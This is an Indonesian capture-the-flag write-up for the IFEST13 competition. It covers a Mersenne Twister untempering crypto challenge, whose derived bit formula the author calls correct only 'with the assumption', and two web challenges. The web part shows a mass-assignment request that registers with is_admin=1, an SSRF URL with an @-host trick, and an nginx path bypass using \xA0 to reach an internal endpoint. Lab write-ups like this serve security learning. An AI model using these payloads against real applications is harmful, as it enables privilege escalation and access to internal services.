Category
<a href="#WELCOME"> WELCOME </a>
* <a href="#39"> SELAMAT </a>
<a href="#CRYPTO"> CRYPTO </a>
* <a href="#37"> kujou </a>
<a href="#WEB-EXPLOIT"> WEB EXPLOIT </a>
* <a href="#34"> Web V2 </a>
* <a href="#40"> PixelPlaza2 </a>
## <a id=WELCOME> WELCOME </a>
### <center><a id="39"> SELAMAT </a></center>
<center>1</center>
<center>IFEST13{SELAMAT_SUDAH_BERJUANG_SAMPAI TITIK_INI}</center>
**Flag : IFEST13{SELAMAT_SUDAH_BERJUANG_SAMPAI TITIK_INI}**
## <a id=CRYPTO> CRYPTO </a>
### <center><a id="37"> kujou </a></center>
<center>420</center>
<center>https://www.youtube.com/watch?v=O9S2bWkaiMI
nc 103.163.139.198 8049
>azuketto</center>
#### Write-up Tantangan Kriptografi Kujou
**Nama Tantangan:** Kujou
**Platform:** (Dapat diisi nama CTF atau platformnya)
**Kategori:** Kriptografi
#### Pendahuluan
Tantangan Kujou adalah tantangan kriptografi yang melibatkan pembalikan (unstempering) sebagian dari output generator angka pseudo-random (PRNG) Mersenne Twister (MT19937). Peserta diberikan skrip server (`chall.py`) yang mengimplementasikan fungsi `temper` dari MT19937 dan meminta kita untuk menebak Least Significant Bit (LSB) dari nilai *sebelum* proses tempering, hanya berdasarkan beberapa bit bocoran (leak) dari nilai yang *sudah* ditempering. Kita perlu berhasil menebak LSB ini sebanyak 50 putaran berturut-turut untuk mendapatkan flag.
Server mengizinkan kita untuk memilih "leak mask" (dalam format heksadesimal) di awal, yang menentukan bit mana dari output yang ditempering akan kita terima. Mask ini dibatasi hingga maksimal 8 bit yang diset.
#### Analisis Awal dan Percobaan yang Gagal
Analisis awal dan skrip `solver.py` yang mungkin telah beredar atau dikembangkan sebelumnya menyarankan formula sederhana untuk memulihkan LSB asli ($s_0$) berdasarkan bit ke-0 ($t_0$) dan bit ke-3 ($t_3$) dari output yang ditempering: $s_0 = t_0 \oplus t_3$. Skrip solver awal juga menyarankan penggunaan leak mask `0x9` (untuk mendapatkan $t_0$ dan $t_3$) atau `0xF` (untuk mendapatkan $t_0, t_1, t_2, t_3$).
Namun, percobaan menggunakan formula ini, baik secara manual maupun dengan skrip otomatis, seringkali gagal setelah beberapa putaran. Server akan merespons dengan "Skill issue", menandakan tebakan LSB yang salah. Pengujian komprehensif terhadap formula $s_0 = t_0 \oplus t_3$ pada berbagai input 32-bit acak menunjukkan bahwa formula ini hanya memiliki akurasi sekitar 50%, yang menjelaskan kegagalan tersebut.
Upaya selanjutnya adalah mencoba formula lain yang terkadang dikaitkan dengan LSB MT19937, yaitu $s_0 = t_0 \oplus t_{18} \oplus t_{29}$. Formula ini memerlukan leak mask yang berbeda, misalnya `0x20040001` (untuk mendapatkan $t_0, t_{18}, t_{29}$). Sayangnya, pengujian komprehensif terhadap formula ini juga menunjukkan akurasi sekitar 50%. Jelas bahwa pendekatan sederhana atau formula yang umum dikutip tidak cukup untuk tantangan ini.
#### Penurunan Rumus yang Benar (Proses Iteratif)
Kegagalan formula-formula sebelumnya menunjukkan perlunya penurunan rumus LSB ($s_0$) secara cermat dan akurat, langkah demi langkah, berdasarkan fungsi `temper` yang diberikan:
```python
def temper(y):
y = y ^ (y >> 11)
y = y ^ ((y << 7) & 0x9d2c5680) # M1 = 0x9d2c5680
y = y ^ ((y << 15) & 0xefc60000) # M2 = 0xefc60000
y = y ^ (y >> 18)
return y
```
Proses untempering untuk LSB melibatkan penelusuran mundur setiap operasi XOR dan pergeseran bit. Kunci utamanya adalah bagaimana LSB ($s_0$) dari state asli `s` memengaruhi LSB dari output yang ditempering (`t_0`), dan bit-bit mana lagi dari `t` yang terlibat dalam hubungan ini.
Setelah beberapa iterasi derivasi yang melibatkan koreksi pada identifikasi bit-bit konstanta MT19937 ($M_1$ dan $M_2$) yang relevan, formula yang paling akurat yang berhasil diturunkan adalah:
$s_0 = t_0 \oplus t_7 \oplus t_{11} \oplus t_{18} \oplus t_{22} \oplus t_{25} \oplus t_{29}$
Formula ini melibatkan 7 bit dari output yang ditempering $t$.
#### Implementasi Solusi Akhir
1. **Leak Mask yang Digunakan**: Untuk mendapatkan bit-bit $t_0, t_7, t_{11}, t_{18}, t_{22}, t_{25}, t_{29}$, kita perlu menggunakan leak mask yang mencakup semua bit ini. Mask yang sesuai adalah:
* `1 << 0` = `0x00000001`
* `1 << 7` = `0x00000080`
* `1 << 11` = `0x00000800`
* `1 << 18` = `0x00040000`
* `1 << 22` = `0x00400000`
* `1 << 25` = `0x02000000`
* `1 << 29` = `0x20000000`
Mask gabungannya adalah `0x22440881`. Mask ini memiliki 7 bit yang diset, yang masih valid sesuai batasan server (maksimal 8 bit). Saat diminta server, kita mengirim string heksadesimal `22440881`.
2. **Fungsi Kalkulasi LSB**: Dibuat fungsi Python untuk mengimplementasikan formula 7-bit di atas:
```python
def hitung_lsb_formula_7bit(leaked_value_masked):
t0 = (leaked_value_masked >> 0) & 1
t7 = (leaked_value_masked >> 7) & 1
t11 = (leaked_value_masked >> 11) & 1
t18 = (leaked_value_masked >> 18) & 1
t22 = (leaked_value_masked >> 22) & 1
t25 = (leaked_value_masked >> 25) & 1
t29 = (leaked_value_masked >> 29) & 1
return t0 ^ t7 ^ t11 ^ t18 ^ t22 ^ t25 ^ t29
```
3. **Pengujian Komprehensif Lokal**: Sebelum menjalankan solver terhadap server, sangat penting untuk menguji formula 7-bit ini secara lokal terhadap sejumlah besar input 32-bit acak. Idealnya, tes ini harus menunjukkan akurasi 100%. Jika tidak, berarti masih ada kesalahan dalam derivasi.
4. **Skrip Solver Otomatis**: Skrip Python otomatis disiapkan untuk:
* Terhubung ke server (`nc 103.163.139.198 8049`).
* Mengirim leak mask `22440881`.
* Untuk setiap putaran (total 50):
* Menerima nilai `leaked_value` dari server.
* Menghitung prediksi LSB menggunakan `hitung_lsb_formula_7bit`.
* Mengirimkan hasil tebakan (0 atau 1) ke server.
* Setelah 50 putaran berhasil, server akan mengirimkan flag.
#### Kesimpulan
Tantangan Kujou menguji pemahaman mendalam tentang cara kerja fungsi tempering MT19937 dan kemampuan untuk melakukan rekayasa balik (reverse engineering) atau derivasi matematis yang teliti untuk memulihkan informasi dari state internal PRNG. Kegagalan formula-formula awal yang lebih sederhana menekankan pentingnya verifikasi menyeluruh dan derivasi yang cermat, terutama ketika berhadapan dengan operasi bitwise yang kompleks. Formula akhir yang melibatkan 7 bit dari output yang ditempering ($s_0 = t_0 \oplus t_7 \oplus t_{11} \oplus t_{18} \oplus t_{22} \oplus t_{25} \oplus t_{29}$) adalah kunci untuk menyelesaikan tantangan ini, dengan asumsi derivasi tersebut sudah 100% benar dan telah diverifikasi oleh pengujian lokal yang ekstensif.
```shell=
S: Just gimme one bit:: C: 1
[*] Round 48/50 completed. Leaked: 537135104, Sent: 1
S: Your leak: 33554561
S: Just gimme one bit:: C: 1
[*] Round 49/50 completed. Leaked: 33554561, Sent: 1
S: Your leak: 574883969
S: Just gimme one bit:: C: 1
[*] Round 50/50 completed. Leaked: 574883969, Sent: 1
[*] πππ ALL 50 ROUNDS COMPLETED! πππ
S: Well played good sir
S: FLAG: IFEST13{https://www.youtube.com/watch?v=hX_3P0TBGP4&flag=28c24126cb289846}
[*] Connection closed.
βββ(cyrusγΏcyshe)-[~/Desktop/IFEST]
ββ$
```
**Flag : `IFEST13{https://www.youtube.com/watch?v=hX_3P0TBGP4&flag=28c24126cb289846}`**
## <a id=WEB-EXPLOIT> WEB EXPLOIT </a>
### <center><a id="34"> Web V2 </a></center>
<center>430</center>
<center>Bruh, someone just hacked my website. And now im pretty sure no one will hack my website again!
http://103.163.139.198:54321/login
> Author: daffainfo</center>
diberikan sebuah website yang dapat digunakan untuk login dan membuat akun

Dengan melihat source code /register
```python=
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
data = request.form.to_dict()
data['password'] = hash_password(data['password'])
user = User(**data)
db.session.add(user)
db.session.commit()
return redirect('/login')
return render_template('register.html')
```
bisa dilihat jika user dibuat tanpa ada validasi pada data `**data`, yang berarti kita bisa membuat akun dengan `is_admin=1`
dengan memodifikasi request dengan fetch:
```javascript=
fetch("http://xxx:12312/register", {
"headers": {
"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8",
"accept-language": "en-GB,en;q=0.9",
"cache-control": "no-cache",
"content-type": "application/x-www-form-urlencoded",
"pragma": "no-cache",
"sec-gpc": "1",
"upgrade-insecure-requests": "1"
},,
"referrerPolicy": "strict-origin-when-cross-origin",
"body": "username=aaaa&password=a&is_admin=1",
"method": "POST",
"mode": "cors",
"credentials": "include"
});
```
setelah login sebagai admin, kita mendapatkan akses ke halaman admin fetcher, pada admin fetcher, kita dapat melakukan fetch endpoint internal `http://127.0.0.1:1337/internal`
```python
@app.route('/internal')
def internal():
if request.remote_addr != '127.0.0.1':
abort(403)
return "Flag: IFEST13{fake_flag}"
```
------ Ini diambil dari Web V1 ------
Ketika melakukan fetch ke /admin/fetch, kita mendapatkan 403

melihat dari [sini](https://github.com/dub-flow/path-normalization-bypasses), bisa dilihat jika nginx bisa di bypass dengan \xA0, ketika ditambahkan karakter tersebut, kita mendapatkan page fetch nya
fetch dengan
`http://127.0.0.1:1337\\@daffainfo.com:1337/../internal`

**Flag: IFEST13{a0526f70f53e2aa1d395ac02b7653498}**
### <center><a id="40"> PixelPlaza2 </a></center>
<center>460</center>
<center>I'm a consultant, but my client is using a new technology I'm not familiar with. They have patched the findings from our initial pentest. Can I outsource this whitebox retest project to you?
http://103.163.139.198:8888
> Author: BerlianGabriel</center>
# [KAYAK FAMILIAR CHALL NYA](https://github.com/Find-IT-UGM/CTF-2025-Writeup/blob/1257d4b2c4516080b1179e931f2902949fea9ca9/Web/PixelPlaza/README.md)

**Flag : IFEST13{g0L4nG_5UpP0rt5_p4th_Tr4V3rs4L_w1tH_CONNECT}**